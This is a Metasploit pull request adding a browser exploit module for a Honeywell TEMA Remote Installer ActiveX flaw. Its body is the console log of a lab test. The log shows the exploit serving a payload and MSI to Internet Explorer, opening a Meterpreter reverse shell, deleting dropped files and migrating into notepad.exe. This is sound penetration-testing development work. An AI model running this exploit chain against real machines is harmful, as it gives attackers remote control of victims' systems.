rapid7/metasploit-framework — pull request #1269 by jvazquez-r7 (2013-01-08 18:56:05+00:00)
Title: Added module for OSVDB 76681

Tested successfully with the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and Internet Explorer 6, 7 and 8 on Windows XP SP3

msf > use exploit/windows/browser/honeywell_tema_exec
msf exploit(honeywell_tema_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/LxE1xpjUGNyDnYg
msf exploit(honeywell_tema_exec) > [*] Local IP: http://192.168.1.128:8080/LxE1xpjUGNyDnYg
[*] Server started.
[*] 192.168.1.137 honeywell_tema_exec - Sending html
[*] 192.168.1.137 honeywell_tema_exec - Sending payload
[*] 192.168.1.137 honeywell_tema_exec - Sending msi
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.137:1168) at 2013-01-08 19:54:16 +0100
[-] Failed to delete C:\WINDOWS\Temp\payload.exe
[+] Deleted ThinClient_TemaKit.msi
[+] Deleted ThinClient_TemaKit.log
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.137:1168) processing InitialAutoRunScript 'migrate -k -f'
[*] Current server process: payload.exe (1740)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2256
[+] Successfully migrated to process
[*] Killing original process with PID 1740
[+] Successfully killed process with PID 1740